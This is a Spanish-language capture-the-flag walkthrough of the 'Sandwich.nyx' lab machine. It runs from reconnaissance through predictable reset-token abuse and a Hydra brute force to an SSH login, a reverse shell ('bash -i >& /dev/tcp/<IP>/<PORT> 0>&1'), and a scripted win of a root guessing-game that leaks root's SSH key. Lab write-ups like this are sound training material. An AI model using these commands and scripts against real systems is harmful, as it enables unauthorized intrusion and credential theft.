Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-14 09:51 EDT
Nmap scan report for 192.168.5.79
Host is up (0.0010s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 4d:30:db:f3:d0:b5:b2:65:8d:3b:08:dc:56:2b:28:b9 (ECDSA)
|_ 256 16:9f:f2:7f:ca:5a:a2:03:65:9e:f1:09:ae:15:f7:8b (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Sandwich.nyx | Your Favorite Sandwiches!
MAC Address: 08:00:27:79:76:56 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.43 seconds
Veremos el puerto 80 levantado que suele alojar una pagina web, si entramos dentro del mismo veremos una pagina web normal, pero en el titulo de la pagina vemos que hace referencia a un dominio por lo que vamos añadirlo a nuestro archivo hosts por si acaso.
Lo guardamos y entramos con dicho dominio.
Seguiremos viendo lo mismo, pero para futuros recursos web puede ser que nos haga falta.
Vamos a realizar un poco de fuzzing en dicha pagina.
Gobuster
Info:
Veremos varias cosas interesantes, pero en ninguna asi podremos entrar sin autenticacion, vemos en la pagina una seccion para resetear la contraseña muy interesante que nos pueda servir en un futuro, pero despues de estar realizando muchas pruebas con BurpSuite para ver como funciona la peticion a nivel interno, descubri que hay un email llamado admin@sandwich.nyx ya que si intentas loguearte te pondra password incorrect por lo que existe, pero no nos servira de mucho.
Vamos a realizar un poco de fuzzing a nivel de subdominios a ver que vemos.
FFUF
Info:
Veremos que hemos encontrado una coincidencia llamada webmail por lo que vamos añadirla a nuestro archivo hosts.
Lo guardamos y nos metemos en dicho subdominio.
Veremos que nos carga una interfaz de un login, podremos registrarnos para que dicho correo se quede registrado en la DDBB de la pagina y posteriormente registrarnos en la web principal.
Una vez que nos registremos veremos que estamos en otra pagina con nuestra bandeja de entrada cuando iniciamos sesion.
Vamos a irnos a la pagina principal y registrar un usuario con dicho correo que ya existe, echo esto, vamos a realizar un logout para cerrar sesion y vamos a irnos a la seccion llamado reset password, ahi metemos nuestro correo paar ver que pasa de forma interna todo esto, echo eso veremos un mensaje asi:
Si nos vamos al subdominio llamado webmail dentro de nuestra bandeja de entrada veremos algo asi:
Vemos como funciona por dentro y varias cosas interesantes, entre ellas ya sabemos el email desde el que lo esta enviando web@sandeich.nyx, tambien si enviamos unos cuantos tokens veremos una particularidad especial, es que si enviamos varios tokens al mismo tiempo rapidamente los octetos del medio y del final no cambian, pero los primeros si, tambien vemos que no expira, por lo que si enviamos un token a nosotros, otro al admin y de nuevo a nosotros podremos saber la franja de octetos que hay entre medias para realizar fuerza bruta por token.
Vamos a realizar los envios de token lo mas rapido posible para que no varie mucho de uno a otro.
Vamos a realizar eso, una vez que hayamos realizado los envios de tokens al resetear la "password", veremos en nuestro email estos tokens:
createTOKENS.py
Ahora lo vamos a probar de esta forma:
Con esto habremos creado la lista, vamos a probarla con FFUF que es mas rapido que con python3.
Info:
Veremos que ha funcionado, en el codigo pusimos como password el nombre diseo vamos a ver si ha funcionado.
Llendonos a la pagina principal y dandole a login pondremos las actuales credenciales:
Info:
Y veremos que estamos dentro de forma exitosa, por lo que vamos a darle a Download saved Sandwiches, esto nos descargara un sandwiches.csv lo que parece que puede llevar credenciales, por lo que vamos abrirlo.
Vemos varios usuarios de correos, por lo que podriamos probar a realizar un poco de fuerza bruta a ver si conseguimos algo.
Escalate user matthygd_xy
users.txt
Con el listado de usuarios vamos a realizar fuerza bruta.
Hydra
Info:
Veremos que hemos encontrado las credenciales, por lo que vamos a loguearnos en webmail.
Si entramos dentro veremos esto:
Vemos que nos esta dando unas credenciales para conectarnos por SSH por lo que vamos a coenctarnos.
SSH
Metemos como contraseña tGCD9XIP03IHpSCDdoRu...
Info:
Con esto veremos que ya estaremos dentro por lo que leeremos la flag del usuario.
user.txt
Escalate user ll104567
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario chvt como el usuario root por lo que podremos realizar lo siguiente:
Sabemos que con ese binario se puede cambiar a una terminal virtual por asi decirlo, si listamos las tty que hay en el sistema veremos algo interesante:
Info:
Vemos que esta tty esta con el usuario ll104567 por lo que ya nos esta dando una pista de lo que podremos hacer.
Pero para invocar una tty virtual tendremos que ir al equipo "fisico" como tal, que en nuestro caso seria la maquina victima como tal, tendremos que iniciar sesion con el usuario matthygd_xy e invocamos dicha tty.
Una vez que invoquemos la tty:
Info:
Ahora nos vamos a realizar una reverse shell para tener una TTY sanitizada.
Antes de enviarlo nos pondremos a la escucha:
Ahora si enviamos lo anterior y volvemos a donde tenemos la escucha veremos lo siguiente:
Vamos a sanitizar la TTY de esta forma:
Sanitización de shell (TTY)
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Veremos que podremos ejecutar el script game.sh como el usuario root, por lo que vamos a leer a ver que hace dicho script.
Veremos que es como un juego, si adivinamos el numero correcto que es aleatorio nos porporcionara la clave privada de root, por lo que vamos a montarnos un script para poder adivinarlo de forma mas rapida.
number.py
Ahora lo vamos a ejecutar de esta forma:
Info:
Despues de unos segundo podremos ver que ha funcionado, por lo que vamos a limpiarlo para dejarlo bien el id_rsa.
id_rsa
Ahora vamos a conectarnos por SSH con dicha clave.
Info:
Con esto veremos que ya seremos root, por lo que leeremos la flag del root.
hydra -L users.txt -P <WORDLIST> webmail.sandwich.nyx http-post-form "/login.php:email=^USER^&password=^PASS^:Invalid credentials or user not found." -t 64 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-08-15 03:58:06
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking http-post-form://webmail.sandwich.nyx:80/login.php:email=^USER^&password=^PASS^:Invalid credentials or user not found.
[STATUS] 375.00 tries/min, 375 tries in 00:01h, 14344024 to do in 637:31h, 64 active
[STATUS] 351.67 tries/min, 1055 tries in 00:03h, 14343344 to do in 679:47h, 64 active
[STATUS] 360.57 tries/min, 2524 tries in 00:07h, 14341875 to do in 662:56h, 64 active
[80][http-post-form] host: webmail.sandwich.nyx login: matthygd_x@sandwich.nyx password: qweasd
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-08-15 04:06:24
User: matthygd_x@sandwich.nyx
Pass: qweasd
ssh matthygd_xy@<IP>
Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 19:35:02 2025 from 192.168.1.181
matthygd_xy@sandwich:~$ whoami
matthygd_xy
c158efefab9bfd356fa8e9ec3c440da1
Matching Defaults entries for matthygd_xy on sandwich:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User matthygd_xy may run the following commands on sandwich:
(root) NOPASSWD: /bin/chvt
ls -l /dev/tty[0-9] /dev/tty[0-9][0-9] 2>/dev/null
..............................<RESTO DE CODIGO>...................................
crw------- 1 ll104567 tty 4, 20 ago 15 09:13 /dev/tty20
..............................<RESTO DE CODIGO>...................................
sudo /bin/chvt 20
bash -i >& /dev/tcp/<IP>/<PORT> 0>&1
nc -lvnp <PORT>
listening on [any] 7755 ...
connect to [192.168.5.50] from (UNKNOWN) [192.168.5.80] 56780
ll104567@sandwich:~$ whoami
whoami
ll104567
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for ll104567 on sandwich:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User ll104567 may run the following commands on sandwich:
(ALL) NOPASSWD: /opt/game.sh
#!/bin/bash
export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
MAX=2000000
ATTEMPTS=$(/usr/bin/awk -v max="$MAX" 'BEGIN {printf "%d", (log(max)/log(2) + 0.999999)}')
/bin/echo "Hello! What is your name?"
read NAME
NUMBER=$(( ( RANDOM % MAX ) + 1 ))
/bin/echo "Well, $NAME, I'm thinking of a number between 1 and $MAX."
/bin/echo "You have $ATTEMPTS attempts to guess it."
ATTEMPTS_MADE=0
SECRET_FILE="/root/.ssh/id_rsa"
while [ $ATTEMPTS_MADE -lt $ATTEMPTS ]; do
/bin/echo "Try to guess:"
read GUESS
# Validate that the input is a valid number
if ! [[ "$GUESS" =~ ^[0-9]+$ ]]; then
/bin/echo "Please, enter a valid number."
continue
fi
ATTEMPTS_MADE=$((ATTEMPTS_MADE + 1))
if [ $GUESS -lt $NUMBER ]; then
/bin/echo "Your guess is too low."
elif [ $GUESS -gt $NUMBER ]; then
/bin/echo "Your guess is too high."
else
break
fi
done
if [ $GUESS -eq $NUMBER ]; then
/bin/echo "Good job, $NAME! You guessed my number in $ATTEMPTS_MADE attempts!"
/bin/echo "Here's your reward:"
/bin/cat "$SECRET_FILE"
else
/bin/echo "No, the number I was thinking of was $NUMBER."
fi
#!/usr/bin/env python3
import subprocess
import re
low = 1
high = 2_000_000
while True:
proc = subprocess.Popen(
["sudo", "/opt/game.sh"],
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.STDOUT,
text=True
)
reading_reward = False
while True:
line = proc.stdout.readline()
if not line:
break
line = line.rstrip()
print(line) # Mostramos todo lo que se imprime
if reading_reward:
# Todo lo que llegue después de acertar
print("REWARD:", line)
continue
if "What is your name" in line:
proc.stdin.write("player\n")
proc.stdin.flush()
continue
if "You have" in line and "attempts" in line:
m = re.search(r'\d+', line)
if m:
attempts_left = int(m.group())
continue
if "Try to guess:" in line:
guess = (low + high) // 2
proc.stdin.write(f"{guess}\n")
proc.stdin.flush()
continue
if "too high" in line:
high = guess - 1
elif "too low" in line:
low = guess + 1
elif "Good job" in line:
print("¡Número adivinado!")
reading_reward = True # A partir de ahora, todo es la recompensa
elif "No, the number I was thinking of was" in line:
low = 1
high = 2_000_000
break
Linux sandwich 6.1.0-32-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.129-1 (2025-03-06) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Mar 30 20:14:35 2025 from 192.168.1.181
root@sandwich:~# whoami
root